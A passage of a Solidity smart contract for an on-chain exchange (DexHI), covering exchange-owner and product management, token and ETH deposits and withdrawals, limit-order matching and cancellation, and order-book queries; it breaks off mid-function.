modifier onlyOperator() {
require(msg.sender == operator);
_;
}
function transferOperator(address _operator) onlyOwner public {
operator = _operator;
}
// Functions with this modifier can only be executed by the owner of each exchange
modifier onlyExOwner() {
require(owner_id[msg.sender] != 0);
_;
}
// Functions with this modifier can only be executed when this contract is not abandoned
modifier onlyContractUse {
require(isContractUse == true);
_;
}
uint32 public lastOwnerId;
mapping (uint32 => address) id_owner;
mapping (address => uint32) owner_id;
mapping (uint32 => uint8) ownerId_takerFeeRateLocal;
mapping (uint32 => uint32) ownerId_accountId;
//Delete the owner of exchange
function DeleteOwner(uint32 exId) onlyOperator public
{
require(lastOwnerId >= exId && exId > 0);
owner_id[id_owner[exId]] = 0;
}
//Add Owner of exchange
function AddOwner(address newOwner) onlyOperator public
{
require(owner_id[newOwner] == 0);
owner_id[newOwner] = ++lastOwnerId;
id_owner[lastOwnerId] = newOwner;
ownerId_accountId[lastOwnerId] = FindOrAddAccount();
}
//Get exchange owner list and id
function GetOwnerList() view public returns (address[] owners, uint32[] ownerIds)
{
owners = new address[](lastOwnerId);
ownerIds = new uint32[](lastOwnerId);
for (uint32 i = 1; i <= lastOwnerId; i++)
{
owners[i - 1] = id_owner[i];
ownerIds[i - 1] = i;
}
}
//Set local exchange fee
function setTakerFeeRateLocal(uint8 _takerFeeRate) public
{
require (_takerFeeRate <= 100);// takerFeeRate cannot be more than 1%
uint32 ownerId = owner_id[msg.sender];
require(ownerId != 0);
ownerId_takerFeeRateLocal[ownerId] = _takerFeeRate;//bp
}
// Get fee Rate for an exchange with owner id == ownerId
function getTakerFeeRateLocal(uint32 ownerId) public view returns (uint8)
{
return ownerId_takerFeeRateLocal[ownerId];//bp
}
//Air Drop events
function airDrop(uint32 exId, uint32 prCode, uint32[] accountIds, uint104[] qtys) onlyExOwner public
{
uint32 accountId = FindOrRevertAccount();
require(accountId_freeze[accountId] == false);
uint256 n = accountIds.length;
require(n == qtys.length);
uint128 sum = 0;
for (uint32 i = 0; i < n; i++)
{
sum += qtys[i];
}
exId_prCode_AccountId_Balance[exId][prCode][accountId].available = Sub(exId_prCode_AccountId_Balance[exId][prCode][accountId].available, sum);
for (i = 0; i < n; i++)
{
exId_prCode_AccountId_Balance[exId][prCode][accountIds[i]].available += qtys[i];
// exId_prCode_AccountId_Balance[exId][prCode][accountIds[i]].available >> qtys[i]
// 2^128 >> 2^104 -> minimum 2^24 times of airdrop need for overflow (hard to imagine)
// because prCode_AccountId_Balance[prCode][accountIds[i]].available restircted by maxBalance in deposit function
}
}
//information of product
struct ProductInfo
{
uint256 divider;
bool isTradeBid;
bool isTradeAsk;
bool isDeposit;
bool isWithdraw;
uint32 ownerId;
uint104 minQty;
}
uint32 public lastProductId;
uint256 public newProductFee;
mapping (uint32 => address) prCode_product;
mapping (address => uint32) product_prCode;
mapping (uint32 => ProductInfo) prCode_productInfo;
// Add product by exchange owner
function AddProduct(uint256 decimals, address product) payable onlyExOwner public
{
require(msg.value >= newProductFee || msg.sender == operator);
require(product_prCode[product] == 0);
require(decimals <= 18);
product_prCode[product] = ++lastProductId;
prCode_product[lastProductId] = product;
ProductInfo memory productInfo;
productInfo.divider = 10 ** decimals; // max = 10 ^ 18 because of require(decimals <= 18);
productInfo.ownerId = owner_id[msg.sender];
prCode_productInfo[lastProductId] = productInfo;
exId_prCode_AccountId_Balance[1][1][ownerId_accountId[1]].available += uint128(msg.value); //eth transfer < 2^128
}
// Set Product Information
function SetProductInfo(uint32 prCode, bool isTradeBid, bool isTradeAsk, bool isDeposit, bool isWithdraw, uint104 _minQty, uint32 exId) public
{
ProductInfo storage prInfo = prCode_productInfo[prCode];
require(msg.sender == operator || owner_id[msg.sender] == prInfo.ownerId );
prInfo.isTradeBid = isTradeBid;
prInfo.isTradeAsk = isTradeAsk;
prInfo.isDeposit = isDeposit;
prInfo.isWithdraw = isWithdraw;
prInfo.minQty = _minQty;
prInfo.ownerId = exId;
}
// Set product listing fee
function SetProductFee(uint256 productFee) onlyOperator public
{
newProductFee = productFee;
}
// Get product address and id
function GetProductList() view public returns (address[] products, uint32[] productIds)
{
products = new address[](lastProductId);
productIds = new uint32[](lastProductId);
for (uint32 i = 1; i <= lastProductId; i++)
{
products[i - 1] = prCode_product[i];
productIds[i - 1] = i;
}
}
// Get infromation of product
function GetProductInfo(address product) view public returns (uint32 prCode, uint256 divider, bool isTradeBid, bool isTradeAsk, bool isDeposit, bool isWithdraw, uint32 ownerId, uint104 minQty)
{
prCode = product_prCode[product];
divider = prCode_productInfo[prCode].divider;
isTradeBid = prCode_productInfo[prCode].isTradeBid;
isTradeAsk = prCode_productInfo[prCode].isTradeAsk;
isDeposit = prCode_productInfo[prCode].isDeposit;
isWithdraw = prCode_productInfo[prCode].isWithdraw;
ownerId = prCode_productInfo[prCode].ownerId;
minQty = prCode_productInfo[prCode].minQty;
}
uint32 public lastAcccountId;
mapping (uint32 => uint8) id_announceLV;
//Each announceLV open information as
//0: None, 1: Trade, 2:Balance, 3:DepositWithdrawal, 4:OpenOrder
mapping (uint32 => address) id_account;
mapping (uint32 => bool) accountId_freeze;
mapping (address => uint32) account_id;
// Find or add account
function FindOrAddAccount() private returns (uint32)
{
if (account_id[msg.sender] == 0)
{
account_id[msg.sender] = ++lastAcccountId;
id_account[lastAcccountId] = msg.sender;
}
return account_id[msg.sender];
}
// Find or revert account
function FindOrRevertAccount() private view returns (uint32)
{
uint32 accountId = account_id[msg.sender];
require(accountId != 0);
return accountId;
}
// Get account id of msg sender
function GetMyAccountId() view public returns (uint32)
{
return account_id[msg.sender];
}
// Get account id of any users
function GetAccountId(address account) view public returns (uint32)
{
return account_id[account];
}
// Get account announcement level
function GetMyAnnounceLV() view public returns (uint32)
{
return id_announceLV[account_id[msg.sender]];
}
// Set account announce level
function ChangeAnnounceLV(uint8 announceLV) public
{
id_announceLV[FindOrRevertAccount()] = announceLV;
}
// Freeze or unfreez of account
function SetFreezeByAddress(bool isFreeze, address account) onlyOperator public
{
uint32 accountId = account_id[account];
if (accountId != 0)
{
accountId_freeze[accountId] = isFreeze;
}
}
// reserved: Balance held up in orderBook
// available: Balance available for trade
struct Balance
{
uint128 reserved;
uint128 available;
}
struct ListItem
{
uint32 prev;
uint32 next;
}
struct OrderLink
{
uint32 firstId;
uint32 lastId;
uint80 nextPrice;
uint80 prevPrice;
mapping (uint32 => ListItem) id_orderList;
}
struct Order
{
uint32 exId;
uint32 accountId;
uint32 prTrade;
uint32 prBase;
uint104 qty;
uint80 price;
bool isSell;
}
uint32 public lastOrderId;
mapping (uint32 => Order) id_Order;
//orderbook information
struct OrderBook
{
uint8 tickSize;
uint80 bestBidPrice;
uint80 bestAskPrice;
mapping (uint80 => OrderLink) bidPrice_Order;
mapping (uint80 => OrderLink) askPrice_Order;
}
mapping (uint32 => mapping (uint32 => OrderBook)) basePID_tradePID_orderBook;
function SetOrderBookTickSize(uint32 prTrade, uint32 prBase, uint8 _tickSize) onlyOperator public
{
basePID_tradePID_orderBook[prBase][prTrade].tickSize = _tickSize;
}
mapping (uint32 => mapping (uint32 => mapping (uint32 => Balance))) exId_prCode_AccountId_Balance;
// open order list
struct OpenOrder
{
uint32 startId;
mapping(uint32 => ListItem) id_orderList;
}
mapping(uint32 => OpenOrder) accountId_OpenOrder;
function AddOpenOrder(uint32 accountId, uint32 orderId) private
{
OpenOrder memory openOrder = accountId_OpenOrder[accountId];
if (openOrder.startId != 0)
{
accountId_OpenOrder[accountId].id_orderList[openOrder.startId].prev = orderId;
accountId_OpenOrder[accountId].id_orderList[orderId].next = openOrder.startId;
}
accountId_OpenOrder[accountId].startId = orderId;
}
function RemoveOpenOrder(uint32 accountId, uint32 orderId) private
{
OpenOrder memory openOrder = accountId_OpenOrder[accountId];
uint32 nextId = accountId_OpenOrder[accountId].id_orderList[orderId].next;
uint32 prevId = accountId_OpenOrder[accountId].id_orderList[orderId].prev;
if (nextId != 0)
{
accountId_OpenOrder[accountId].id_orderList[nextId].prev = prevId;
}
if (prevId != 0)
{
accountId_OpenOrder[accountId].id_orderList[prevId].next = nextId;
}
if (openOrder.startId == orderId)
{
accountId_OpenOrder[accountId].startId = nextId;
}
}
//withdrawal and deposit record (DW records)
struct DWrecord
{
uint32 prCode;
bool isDeposit;
uint128 qty;
uint64 timestamp;
}
struct DWrecords
{
uint32 N;
mapping (uint32 => DWrecord) N_DWrecord;
}
mapping (uint32 => mapping (uint32 => DWrecords)) exId_AccountId_DWrecords;
//record deposit and withdrawal
function RecordDW(uint32 exId, uint32 accountId, uint32 prCode, bool isDeposit, uint128 qty) private
{
DWrecord memory dW;
dW.isDeposit = isDeposit;
dW.prCode = prCode;
dW.qty = qty;
dW.timestamp = uint64(now);
exId_AccountId_DWrecords[exId][accountId].N_DWrecord[++exId_AccountId_DWrecords[exId][accountId].N] = dW;
if (isDeposit == true)
emit NewDeposit(exId, prCode, accountId, qty, dW.timestamp, lastTransferId++);
else
emit NewWithdraw(exId, prCode, accountId, qty, dW.timestamp, lastTransferId++);
}
// returns 'N', DW records with account id, accountId, for exchange id, exId
function GetDWrecords(uint32 N, uint32 exId, uint32 accountId) view public returns (uint32[] prCode, bool[] isDeposit, uint128[] qty, uint64[] timestamp)
{
checkAnnounceLV(accountId, 3);
DWrecords storage dWrecords = exId_AccountId_DWrecords[exId][accountId];
uint32 n = dWrecords.N;
if (n > N)
n = N;
prCode = new uint32[](n);
isDeposit = new bool[](n);
qty = new uint128[](n);
timestamp = new uint64[](n);
for (uint32 i = dWrecords.N; i > dWrecords.N - n; i--)
{
N = dWrecords.N - i;
prCode[N] = dWrecords.N_DWrecord[i].prCode;
isDeposit[N] = dWrecords.N_DWrecord[i].isDeposit;
qty[N] = dWrecords.N_DWrecord[i].qty;
timestamp[N] = dWrecords.N_DWrecord[i].timestamp;
}
}
//Deposit ETH to exchange
function depositETH(uint32 exId) payable onlyContractUse public
{
require(exId <= lastOwnerId);
uint32 accountId = FindOrAddAccount();
exId_prCode_AccountId_Balance[exId][1][accountId].available = Add(exId_prCode_AccountId_Balance[exId][1][accountId].available, uint128(msg.value));
RecordDW(exId, accountId, 1, true, uint104(msg.value));
}
// Withdraw ETH from exchange
function withdrawETH(uint32 exId, uint104 amount) public
{
uint32 accountId = FindOrRevertAccount();
require(accountId_freeze[accountId] == false);
exId_prCode_AccountId_Balance[exId][1][accountId].available = Sub(exId_prCode_AccountId_Balance[exId][1][accountId].available, amount);
require(msg.sender.send(amount));
RecordDW(exId, accountId, 1, false, amount);
}
// Deposit/Withdraw, ERC20's to exchange
function depositWithdrawToken(uint32 exId, uint128 amount, bool isDeposit, address prAddress) public
{
uint32 prCode = product_prCode[prAddress];
require(amount < maxBalance && prCode != 0);
uint32 accountId = FindOrAddAccount();
require(accountId_freeze[accountId] == false);
if (isDeposit == true)
{
require(prCode_productInfo[prCode].isDeposit == true && isContractUse == true && exId <= lastOwnerId);
require(Token(prAddress).transferFrom(msg.sender, this, amount));
exId_prCode_AccountId_Balance[exId][prCode][accountId].available = Add(exId_prCode_AccountId_Balance[exId][prCode][accountId].available, amount);
require (exId_prCode_AccountId_Balance[exId][prCode][accountId].available < maxBalance);
}
else
{
require(prCode_productInfo[prCode].isWithdraw == true);
exId_prCode_AccountId_Balance[exId][prCode][accountId].available = Sub(exId_prCode_AccountId_Balance[exId][prCode][accountId].available, amount);
require(Token(prAddress).transfer(msg.sender, amount));
}
RecordDW(exId, accountId, prCode, isDeposit, amount);
}
// This function will be never used in normal situations.
// This function is only prepared for emergency case such as smart contract hacking Vulnerability or smart contract abolishment
// Withdrawn fund by this function cannot belong to any exchange operators or owners.
// Withdrawn fund should be distributed to individual accounts having original ownership of withdrawn fund.
// After using this function, this contract cannot get any deposit or trade.
// After using this function, this contract will be abolished.
function emergencyWithdrawal(uint32 prCode, uint256 amount) onlyOwner public
{
isContractUse = false;//This cannot be return. After activating this, this contract cannot support any deposit or trade function.
if (prCode == 1)
require(msg.sender.send(amount));
else
Token(prCode_product[prCode]).transfer(msg.sender, amount);
}
// Find tick size of each price
function GetNextTick(bool isAsk, uint80 price, uint8 n) public pure returns (uint80)
{
if (price > 0)
{
uint80 tick = GetTick(price, n);
if (isAsk == true)
return (((price - 1) / tick) + 1) * tick;
else
return (price / tick) * tick;
}
else
{
return price;
}
}
function GetTick(uint80 price, uint8 n) public pure returns (uint80)
{
if (n < 1)
n = 1;
uint80 x = 1;
for (uint8 i=1; i <= n / 2; i++)
{
x *= 10;
}
if (price < 10 * x)
return 1;
else
{
uint80 tick = 10000;
uint80 priceTenPercent = price / 10 / x;
while (priceTenPercent > tick)
{
tick *= 10;
}
while (priceTenPercent < tick)
{
tick /= 10;
}
if (n % 2 == 1)
{
if (price >= 50 * tick * x)
{
tick *= 5;
}
}
else
{
if (price < 50 * tick * x)
{
tick *= 5;
}
else
{
tick *= 10;
}
}
return tick;
}
}
// New limit order
function LimitOrder(uint32 exId, uint32 prTrade, uint32 prBase, bool isSell, uint80 price, uint104 qty) public onlyContractUse returns (uint32)
{
uint32 accountId = FindOrRevertAccount();
require(accountId_freeze[accountId] == false);
uint80 lastBestPrice;
OrderBook storage orderBook = basePID_tradePID_orderBook[prBase][prTrade];
require(price != 0 && price <= maxPrice && qty <= maxQty &&
((isSell == false && prCode_productInfo[prTrade].isTradeBid == true && prCode_productInfo[prBase].isTradeAsk == true)
|| (isSell == true && prCode_productInfo[prTrade].isTradeAsk == true && prCode_productInfo[prBase].isTradeBid == true))
&& prCode_productInfo[prTrade].minQty <= qty);
if (isSell == true)
{
price = GetNextTick(true, price, orderBook.tickSize);
lastBestPrice = orderBook.bestAskPrice;
}
else
{
price = GetNextTick(false, price, orderBook.tickSize);
lastBestPrice = orderBook.bestBidPrice;
}
Order memory order;
order.exId = exId;
order.isSell = isSell;
order.prTrade = prTrade;
order.prBase = prBase;
order.accountId = accountId;
order.price = price;
order.qty = qty;
require (IsPossibleLimit(exId, order));
emit NewOrder(order.prTrade, order.prBase, order.accountId, ++lastOrderId, order.isSell, order.price, order.qty, lastNewOrderId++);
BalanceUpdateByLimitAfterTrade(order, qty, matchOrder(orderBook, order, lastOrderId));
if (order.qty != 0)
{
uint80 priceNext;
uint80 price0;
if (isSell == true)
{
price0 = orderBook.bestAskPrice;
if (price0 == 0)
{
orderBook.askPrice_Order[price].prevPrice = 0;
orderBook.askPrice_Order[price].nextPrice = 0;
orderBook.bestAskPrice = price;
}
else if(price < price0)
{
orderBook.askPrice_Order[price0].prevPrice = price;
orderBook.askPrice_Order[price].prevPrice = 0;
orderBook.askPrice_Order[price].nextPrice = price0;
orderBook.bestAskPrice = price;
}
else if (orderBook.askPrice_Order[price].firstId == 0)
{
priceNext = price0;
while (priceNext != 0 && priceNext < price)
{
price0 = priceNext;
priceNext = orderBook.askPrice_Order[price0].nextPrice;
}
orderBook.askPrice_Order[price0].nextPrice = price;
orderBook.askPrice_Order[price].prevPrice = price0;
orderBook.askPrice_Order[price].nextPrice = priceNext;
if (priceNext != 0)
{
orderBook.askPrice_Order[priceNext].prevPrice = price;
}
}
OrderLink storage orderLink = orderBook.askPrice_Order[price];
}
else
{
price0 = orderBook.bestBidPrice;
if (price0 == 0)
{
orderBook.bidPrice_Order[price].prevPrice = 0;
orderBook.bidPrice_Order[price].nextPrice = 0;
orderBook.bestBidPrice = price;
}
else if (price > price0)
{
orderBook.bidPrice_Order[price0].prevPrice = price;
orderBook.bidPrice_Order[price].prevPrice = 0;
orderBook.bidPrice_Order[price].nextPrice = price0;
orderBook.bestBidPrice = price;
}
else if (orderBook.bidPrice_Order[price].firstId == 0)
{
priceNext = price0;
while (priceNext != 0 && priceNext > price)
{
price0 = priceNext;
priceNext = orderBook.bidPrice_Order[price0].nextPrice;
}
orderBook.bidPrice_Order[price0].nextPrice = price;
orderBook.bidPrice_Order[price].prevPrice = price0;
orderBook.bidPrice_Order[price].nextPrice = priceNext;
if (priceNext != 0)
{
orderBook.bidPrice_Order[priceNext].prevPrice = price;
}
}
orderLink = orderBook.bidPrice_Order[price];
}
if (lastOrderId != 0)
{
orderLink.id_orderList[lastOrderId].prev = orderLink.lastId;
if (orderLink.firstId != 0)
{
orderLink.id_orderList[orderLink.lastId].next = lastOrderId;
}
else
{
orderLink.id_orderList[lastOrderId].next = 0;
orderLink.firstId = lastOrderId;
}
orderLink.lastId = lastOrderId;
}
AddOpenOrder(accountId, lastOrderId);
id_Order[lastOrderId] = order;
}
if (isSell == true && lastBestPrice != orderBook.bestAskPrice)
{
emit NewBestBidAsk(prTrade, prBase, isSell, orderBook.bestAskPrice);
}
if (isSell == false && lastBestPrice != orderBook.bestBidPrice)
{
emit NewBestBidAsk(prTrade, prBase, isSell, orderBook.bestBidPrice);
}
return lastOrderId;
}
function BalanceUpdateByLimitAfterTrade(Order order, uint104 qty, uint104 tradedQty) private
{
uint32 exId = order.exId;
uint32 accountId = order.accountId;
uint32 prTrade = order.prTrade;
uint32 prBase = order.prBase;
uint80 price = order.price;
uint104 orderQty = order.qty;
if (order.isSell)
{
Balance storage balance = exId_prCode_AccountId_Balance[exId][prTrade][accountId];
balance.available = Sub(balance.available, qty);
if (orderQty != 0)
balance.reserved = Add(balance.reserved, orderQty);
}
else
{
balance = exId_prCode_AccountId_Balance[exId][prBase][accountId];
if (orderQty != 0)
{
// prCode_productInfo[prBase].divider * qty * price < 2^60 * 2^80 * 2^104 < 2^256
uint256 temp = prCode_productInfo[prBase].divider * orderQty * price / basePrice / prCode_productInfo[prTrade].divider;
require (temp < maxQty); // temp < maxQty < 2^104
balance.available = Sub(balance.available, tradedQty + uint104(temp));
balance.reserved = Add(balance.reserved, uint104(temp));
}
else
{
balance.available = Sub(balance.available, tradedQty);
}
tradedQty = qty - orderQty;
prBase = prTrade;
}
if (tradedQty != 0)
{
uint104 takeFeeLocal = tradedQty * ownerId_takerFeeRateLocal[exId] / 10000;
exId_prCode_AccountId_Balance[exId][prBase][accountId].available += tradedQty - takeFeeLocal;
exId_prCode_AccountId_Balance[exId][prBase][ownerId_accountId[exId]].available += takeFeeLocal;
}
}
function IsPossibleLimit(uint32 exId, Order memory order) private view returns (bool)
{
if (order.isSell)
{
if (exId_prCode_AccountId_Balance[exId][order.prTrade][order.accountId].available >= order.qty)
return true;
else
return false;
}
else
{
if (exId_prCode_AccountId_Balance[exId][order.prBase][order.accountId].available >= prCode_productInfo[order.prBase].divider * order.qty * order.price / basePrice / prCode_productInfo[order.prTrade].divider)
return true;
else
return false;
}
}
// Heart of DexHI's onchain order matching algorithm
function matchOrder(OrderBook storage ob, Order memory order, uint32 id) private returns (uint104)
{
uint32 prTrade = order.prTrade;
uint32 prBase = order.prBase;
uint80 tradePrice;
if (order.isSell == true)
tradePrice = ob.bestBidPrice;
else
tradePrice = ob.bestAskPrice;
bool isBestPriceUpdate = false;
uint104 qtyBase = 0;
uint104 tradeAmount;
while (tradePrice != 0 && order.qty > 0 && ((order.isSell && order.price <= tradePrice) || (!order.isSell && order.price >= tradePrice)))
{
if (order.isSell == true)
OrderLink storage orderLink = ob.bidPrice_Order[tradePrice];
else
orderLink = ob.askPrice_Order[tradePrice];
uint32 orderId = orderLink.firstId;
while (orderLink.firstId != 0 && orderId != 0 && order.qty != 0)
{
Order storage matchingOrder = id_Order[orderId];
if (matchingOrder.qty >= order.qty)
{
tradeAmount = order.qty;
matchingOrder.qty -= order.qty; //matchingOrder.qty cannot be negative by (matchingOrder.qty >= order.qty
order.qty = 0;
}
else
{
tradeAmount = matchingOrder.qty;
order.qty -= matchingOrder.qty;
matchingOrder.qty = 0;
}
qtyBase += BalanceUpdateByTradeCp(order, matchingOrder, tradeAmount);
//return value of BalanceUpdateByTradeCp < maxqty < 2^100 so qtyBase < 2 * maxqty < 2 * 101 by below require(qtyBase < maxQty) -> qtyBase cannot be overflow
require(qtyBase < maxQty);
uint32 orderAccountID = order.accountId;
if (order.isSell == true)
emit NewTrade(prTrade, prBase, orderId, id, matchingOrder.accountId, orderAccountID, true, tradePrice, tradeAmount, lastTradeId++, uint64(now));
else
emit NewTrade(prTrade, prBase, id, orderId, orderAccountID, matchingOrder.accountId, false, tradePrice, tradeAmount, lastTradeId++, uint64(now));
if (matchingOrder.qty != 0)
{
break;
}
else
{
if (RemoveOrder(prTrade, prBase, matchingOrder.isSell, tradePrice, orderId) == true)
{
RemoveOpenOrder(matchingOrder.accountId, orderId);
}
orderId = orderLink.firstId;
}
}
if (orderLink.firstId == 0)
{
tradePrice = orderLink.nextPrice;
isBestPriceUpdate = true;
}
}
if (isBestPriceUpdate == true)
{
if (order.isSell)
{
ob.bestBidPrice = tradePrice;
}
else
{
ob.bestAskPrice = tradePrice;
}
emit NewBestBidAsk(prTrade, prBase, !order.isSell, tradePrice);
}
return qtyBase;
}
function BalanceUpdateByTradeCp(Order order, Order matchingOrder, uint104 tradeAmount) private returns (uint104)
{
uint32 accountId = matchingOrder.accountId;
uint32 prTrade = order.prTrade;
uint32 prBase = order.prBase;
require (tradeAmount < maxQty);
// qtyBase < 10 ^ 18 < 2^ 60 & tradedAmount < 2^104 & matching orderprice < 2^80 -> prCode_productInfo[prBase].divider * tradeAmount * matchingOrder.price < 2^256
// so, below qtyBase cannot be overflow
uint256 qtyBase = prCode_productInfo[prBase].divider * tradeAmount * matchingOrder.price / basePrice / prCode_productInfo[prTrade].divider;
require (qtyBase < maxQty);
Balance storage balanceTrade = exId_prCode_AccountId_Balance[matchingOrder.exId][prTrade][accountId];
Balance storage balanceBase = exId_prCode_AccountId_Balance[matchingOrder.exId][prBase][accountId];
if (order.isSell == true)
{
balanceTrade.available = SafeMath.Add(balanceTrade.available, tradeAmount);
balanceBase.reserved = SafeMath.Sub(balanceBase.reserved, uint104(qtyBase));
}
else
{
balanceTrade.reserved = SafeMath.Sub(balanceTrade.reserved, tradeAmount);
balanceBase.available = SafeMath.Add(balanceBase.available, uint104(qtyBase));
}
return uint104(qtyBase); // return value < maxQty = 1000000000000000000000000000001 < 2^100 by require (qtyBase < maxQty);
}
// Internal functions to remove order
function RemoveOrder(uint32 prTrade, uint32 prBase, bool isSell, uint80 price, uint32 id) private returns (bool)
{
OrderBook storage ob = basePID_tradePID_orderBook[prBase][prTrade];
if (isSell == false)
{
OrderLink storage orderLink = ob.bidPrice_Order[price];
}
else
{
orderLink = ob.askPrice_Order[price];
}
if (id != 0)
{
ListItem memory removeItem = orderLink.id_orderList[id];
if (removeItem.next != 0)
{
orderLink.id_orderList[removeItem.next].prev = removeItem.prev;
}
if (removeItem.prev != 0)
{
orderLink.id_orderList[removeItem.prev].next = removeItem.next;
}
if (id == orderLink.lastId)
{
orderLink.lastId = removeItem.prev;
}
if (id == orderLink.firstId)
{
orderLink.firstId = removeItem.next;
}
delete orderLink.id_orderList[id];
if (orderLink.firstId == 0)
{
if (orderLink.nextPrice != 0)
{
if (isSell == true)
OrderLink storage replaceLink = ob.askPrice_Order[orderLink.nextPrice];
else
replaceLink = ob.bidPrice_Order[orderLink.nextPrice];
replaceLink.prevPrice = orderLink.prevPrice;
}
if (orderLink.prevPrice != 0)
{
if (isSell == true)
replaceLink = ob.askPrice_Order[orderLink.prevPrice];
else
replaceLink = ob.bidPrice_Order[orderLink.prevPrice];
replaceLink.nextPrice = orderLink.nextPrice;
}
if (price == ob.bestAskPrice)
{
ob.bestAskPrice = orderLink.nextPrice;
}
if (price == ob.bestBidPrice)
{
ob.bestBidPrice = orderLink.nextPrice;
}
}
return true;
}
else
{
return false;
}
}
// Cancel orders, keep eye on max block gas Fee
function cancelOrders(uint32 exId, uint32[] id) public
{
for (uint32 i = 0; i < id.length; i++)
{
cancelOrder(exId, id[i]);
}
}
// Cancel order
function cancelOrder(uint32 exId, uint32 id) public returns (bool)
{
Order memory order = id_Order[id];
uint32 accountId = account_id[msg.sender];
require(order.accountId == accountId);
uint32 prTrade = order.prTrade;
uint32 prBase = order.prBase;
bool isSell = order.isSell;
uint80 price = order.price;
uint104 qty = order.qty;
if (RemoveOrder(prTrade, prBase, isSell, price, id) == false)
return false;
else
{
RemoveOpenOrder(accountId, id);
}
if (isSell)
{
Balance storage balance = exId_prCode_AccountId_Balance[exId][prTrade][accountId];
balance.available = SafeMath.Add(balance.available, qty);
balance.reserved = SafeMath.Sub(balance.reserved, qty);
}
else
{
balance = exId_prCode_AccountId_Balance[exId][prBase][accountId];
// prCode_productInfo[prBase].divider * qty * price < 2^60 * 2^80 * 2^104 < 2^256
uint256 temp = prCode_productInfo[prBase].divider * qty * price / basePrice / prCode_productInfo[prTrade].divider;
require (temp < maxQty); // temp < maxQty < 2^104 -> temp cannot be overflow
balance.available = SafeMath.Add(balance.available, uint104(temp));
balance.reserved = SafeMath.Sub(balance.reserved, uint104(temp));
}
emit NewCancel(prTrade, prBase, accountId, id, isSell, price, qty, lastNewOrderId++);
return true;
}
function checkAnnounceLV(uint32 accountId, uint8 LV) private view returns (bool)
{
require(accountId == account_id[msg.sender] || id_announceLV[accountId] >= LV || msg.sender == operator || owner_id[msg.sender] != 0);
}
// Get balance by acount id
function getBalance(uint32 exId, uint32[] prCode, uint32 accountId) view public returns (uint128[] available, uint128[] reserved)
{
if (accountId == 0)
accountId = account_id[msg.sender];
checkAnnounceLV(accountId, 2);
uint256 n = prCode.length;
available = new uint128[](n);
reserved = new uint128[](n);
for (uint32 i = 0; i < n; i++)
{
available[i] = exId_prCode_AccountId_Balance[exId][prCode[i]][accountId].available;
reserved[i] = exId_prCode_AccountId_Balance[exId][prCode[i]][accountId].reserved;
}
}
// Get balance by product
function getBalanceByProduct(uint32 exId, uint32 prCode, uint128 minQty) view public returns (uint32[] accountId, uint128[] balanceSum)
{
require (owner_id[msg.sender] != 0 || msg.sender == operator);
uint32 n = 0;
for (uint32 i = 1; i <= lastAcccountId; i++)
{
if (exId_prCode_AccountId_Balance[exId][prCode][i].available + exId_prCode_AccountId_Balance[exId][prCode][i].reserved > minQty)
n++;
}
accountId = new uint32[](n);
balanceSum = new uint128[](n);
n = 0;
uint128 temp;
for (i = 1; i <= lastAcccountId; i++)
{
temp = exId_prCode_AccountId_Balance[exId][prCode][i].available + exId_prCode_AccountId_Balance[exId][prCode][i].reserved;
if (temp >= minQty)
{
accountId[n] = i;
balanceSum[n++] = temp;
}
}
}
// Get bestBidPrice and bestAskPrice of each orderbook
function getOrderBookInfo(uint32[] prTrade, uint32 prBase) view public returns (uint80[] bestBidPrice, uint80[] bestAskPrice)
{
uint256 n = prTrade.length;
bestBidPrice = new uint80[](n);
bestAskPrice = new uint80[](n);
for (uint256 i = 0; i < n; i++)
{
OrderBook memory orderBook = basePID_tradePID_orderBook[prBase][prTrade[i]];
bestBidPrice[i] = orderBook.bestBidPrice;
bestAskPrice[i] = orderBook.bestAskPrice;
}
}
// Get order information by order id
function getOrder(uint32 id) view public returns (uint32 prTrade, uint32 prBase, bool sell, uint80 price, uint104 qty, uint32 accountId)
{
Order memory order = id_Order[id];
accountId = order.accountId;
checkAnnounceLV(accountId, 4);
prTrade = order.prTrade;
prBase = order.prBase;
price = order.price;
sell = order.isSell;
qty = order.qty;
}
// Get message sender's open orders
function GetMyOrders(uint32 exId, uint32 accountId, uint16 orderN) view public returns (uint32[] orderId, uint32[] prTrade, uint32[] prBase, bool[] sells, uint80[] prices, uint104[] qtys)
{
if (accountId == 0)
accountId = account_id[msg.sender];
checkAnnounceLV(accountId, 4);
OpenOrder storage openOrder = accountId_OpenOrder[accountId];
orderId = new uint32[](orderN);
prTrade = new uint32[](orderN);
prBase = new uint32[](orderN);
qtys = new uint104[](orderN);
prices = new uint80[](orderN);
sells = new bool[](orderN);
uint32 id = openOrder.startId;
if (id != 0)
{
Order memory order;
uint32 i = 0;
while (id != 0 && i < orderN)
{
order = id_Order[id];
if (exId == order.exId)
{
orderId[i] = id;
prTrade[i] = order.prTrade;
prBase[i] = order.prBase;
qtys[i] = order.qty;
prices[i] = order.price;
sells[i++] = order.isSell;
}
id = openOrder.id_orderList[id].next;
}
}
}
// Get all order id in each price
function GetHogaDetail(uint32 prTrade, uint32 prBase, uint80 price, bool isSell, uint16 orderN) view public returns (uint32[] orderIds)
{
if (isSell == false)
{
OrderLink storage orderLink = basePID_tradePID_orderBook[prBase][prTrade].bidPrice_Order[price];
}
else if (isSell == true)
{
orderLink = basePID_tradePID_orderBook[prBase][prTrade].askPrice_Order[price];
}
else
{
return;
}
orderIds = new uint32[](orderN);
uint16 n = 0;
uint32 id0 = orderLink.firstId;
while (id0 != 0 && orderN > n)
{
orderIds[n++] = id0;
id0 = orderLink.id_orderList[id0].next;
}
}
// Get orderbook screen
function GetHoga(uint32 prTrade, uint32 prBase, uint32 hogaN) public view returns (uint80[] priceB, uint104[] volumeB, uint80[] priceA, uint104[] volumeA)
{
OrderBook storage ob = basePID_tradePID_orderBook[prBase][prTrade];
(priceB, volumeB) = GetHoga(ob, hogaN, false);
(priceA, volumeA) = GetHoga(ob, hogaN, true);
}
// Get orderbook screen
function GetHoga(OrderBook storage ob, uint32 hogaN, bool isSell) private view returns (uint80[] prices, uint104[] volumes)
{
prices = new uint80[](hogaN);
volumes = new uint104[](hogaN);
uint32 n;
uint32 id0;
uint80 price;
uint104 sum;
if (isSell == false)
price = ob.bestBidPrice;
else
price = ob.bestAskPrice;
if (price != 0)
{
n = 0;
while (price != 0 && n < hogaN)
{
if (isSell == false)
OrderLink storage orderLink = ob.bidPrice_Order[price];
else
orderLink = ob.askPrice_Order[price];
id0 = orderLink.firstId;
sum = 0;
while (id0 != 0)
{
sum += id_Order[id0].qty;
id0 = orderLink.id_orderList[id0].next;
}
prices[n] = price;
volumes[n] = sum;
price = orderLink.nextPrice;
n++;
}
if (n > 0)
{
while (n < hogaN)
{
if (isSell == true)
